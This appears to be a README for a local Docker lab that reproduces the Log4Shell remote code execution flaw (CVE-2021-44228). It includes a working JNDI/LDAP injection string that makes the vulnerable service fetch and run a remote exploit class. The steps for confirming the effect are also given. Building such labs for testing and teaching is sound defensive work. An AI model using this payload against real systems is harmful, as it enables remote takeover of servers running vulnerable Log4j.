1hakusai1/log4j-rce-cve-2021-44228log4j2 CVE-2021-44228 POC
This is a project to actually test the remote code execution vulnerability (CVE-2021-44228) in log4j2.
docker-compose up
It takes a little time for the log4j container to become usable after starting. Check the progress with the following command:
docker logs -f log4j
When you see Server started: Listening on port 8081, it's ready.
Check the /root directory of the log4j container.
docker exec log4j ls /root
Initially, only the work directory exists.
Access http://localhost:8081/. It's a simple application that just outputs the name entered in the form to the screen and logs.
Enter ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} into the form and submit it.
Check the /root directory of the log4j container.
docker exec log4j ls /root
The attacker's prepared code is executed, and files that did not exist before should be created. Since timestamps are used as file names, new files increase with each attack attempt.
Check the logs of the ldap container; you can see that a SEARCH request is coming from the log4j container.
docker logs ldap
Check the tomcat logs of the web container; you can see that access to Exploit.class (the class used for the attack) is coming from the log4j container.
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*